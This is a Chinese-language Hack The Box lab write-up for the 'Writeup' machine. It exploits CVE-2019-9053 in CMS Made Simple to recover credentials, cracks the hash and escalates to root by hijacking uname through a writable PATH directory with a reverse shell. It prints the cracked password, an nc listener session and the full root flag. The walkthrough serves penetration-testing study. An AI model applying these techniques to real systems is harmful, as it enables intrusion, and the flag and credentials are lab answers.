HTB-linux-WriteUp

简介:
CMS Made Simple(CMSMS)是一个开源的内容管理系统,它为开发者、程序员、网站所有者提供了一个网页版的开发和管理界面。[1]它获得了Packt Publishing评选出的2010年最佳开源内容管理系统年度奖。其它类似的内容管理系统还有Drupal, WordPress,eZ Publish和Joomla!。
CMSMS曾出现过SQL注入、文件上传、RCE、本地文件包含、本地文件读取、XSS等CVE漏洞, 该靶机利用CVE-2019-9053爆破用户名、密码哈希、邮箱、密码salt; 通过somd5爆破密码哈希值, 通过ssh登陆获取user.txt; 通过pspy监听后台进程, 当有用户登陆时, 会设置bash环境变量, 调用uname指令输出当前机器的内核信息; 根据环境变量的调用顺序可以劫持uname指令, 实现提权。

靶机状态:已完成

文章目录

  • cmsms
  • path
  • 卡点

cmsms

nmap

nmap扫端口, 发现80端口WEB服务和22端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sC -sV -oA nmap/Writeup 10.10.10.138
# Nmap 7.70 scan initiated Wed Jun 19 23:09:11 2019 as: nmap -sC -sV -oA nmap/Writeup 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up (0.61s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 19 23:11:06 2019 -- 1 IP address (1 host up) scanned in 114.34 seconds

cve

访问80端口, 从robots.txt中找到writeup目录, 根据页面源码或wappalyzer查到页面使用CMS Made Simple, 通过exploit-db查看历史CVE及exp的详情找到/writeup/admin目录, 访问之后弹出登陆框; 最后通过CVE-2019-9053爆破处对应的凭证
tips: 直接用exp爆破可能会出现Salt、Username、Email、Password每次都不一样的情况, 这是因为exp使用sql的延时注入判断字符是否正确, 默认时间为1s, 如果网络状况不好, 则可能会导致判断错误, 验证方法: 多跑几遍exp, 如果结果不一致说明时间设置过短, 调大exp中时间字段即可。

1
2
3
4
5
6
cmsms:
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] somd5 crack: raykayjay9

通过爆破出来的凭证登陆ssh, 读取user.txt.

path

下载pspy64, 以jkr用户运行监听机器的资源pspy64, 然后开启一个新的ssh登陆窗口, 发现如下进程调用情况:

1
2
3
4
5
2019/06/20 07:13:30 CMD: UID=0    PID=20945  | sshd: jkr [priv]
2019/06/20 07:13:30 CMD: UID=0 PID=20946 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/06/20 07:13:30 CMD: UID=0 PID=20947 | run-parts --lsbsysinit /etc/update-motd.d
2019/06/20 07:13:30 CMD: UID=0 PID=20948 | /bin/sh /etc/update-motd.d/10-uname
2019/06/20 07:13:30 CMD: UID=0 PID=20949 | uname -asom

上述命令中, 设置的环境变量顺序为:/usr/local/sbin/usr/local/bin/usr/sbin/usr/bin…. uname命令通过相对路径访问, 会通过上述的环境变量顺序查找uname命令;
通过find / -writable -type d 2>/dev/null查找当前用户可写目录, 发现/usr/local/bin目录可写, 搜索uname命令后发现命令位于/usr/sbin目录中, 因此可以通过在/usr/local/bin目录中写入uname反弹shell命令, 可获取root权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# nc -lv 4444
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
bin
root.txt
# cat root.txt
eeba47f60b48ef92b734f9b6198d7226
# ifconfig;cat root.txt
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.138 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56ff:febd:d006 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:febd:d006 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:bd:d0:06 txqueuelen 1000 (Ethernet)
RX packets 735900 bytes 58938487 (56.2 MiB)
RX errors 0 dropped 121 overruns 0 frame 0
TX packets 89690 bytes 51033028 (48.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 675 bytes 74665 (72.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 675 bytes 74665 (72.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eeba47f60*********198d7226

卡点

exp的寻找与使用

查看CMS Made Simple的历史cve后, 发现其exp大部分需要登陆, 因此有爆破admin页面的账号和寻找不需要登陆的exp; 刚开始一致才尝试用需要登陆的各种RCE尝试, 猜测弱密码, 都无果后, 开始使用sql注入exp, 第一次使用时, 脚本出错, 本能的怀疑了一波是否不是正确的exp, 然后看论坛说要看exp脚本, 理解其原理, 于是又重新试了一下exp并开始读exp源码, 最后手工验证发现其中的uri存在且不需要认证, 修正代码为py3格式后, 在另一个环境中跑, 拿到了数据, 但是数据很不正确, email居然是@h, 多次运行之后发现结果不一致, 于是修改time变量的值为2, 继续爆破后拿到jkr的凭证

PATH Hacking && Hijacking

用pspy64监控主机进程后, 发现存在不定时的任务, 经过测试和猜测, 计划任务的作用大致是:当出现扫描攻击时, 启动fail2ban-server调用iptables进行屏蔽IP,一段时间后将执行/root/bin/cleanup.pl清除屏蔽的IP; 于是把注意力放在了上面出现的三个程序上, 查命令确定是否存在劫持、文件修改等的可能性,尝试之后发现iptables存在劫持的可能性, 于是编写劫持的iptables程序, 结果无法生效(不知道这里是否可行, 但个人尝试未成功); 于是继续查看pspy64的结果, 发现用户登陆系统时, 会设置环境变量并调用uname程序打印机器信息, 搜索发现uname可被劫持, 于是get root

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%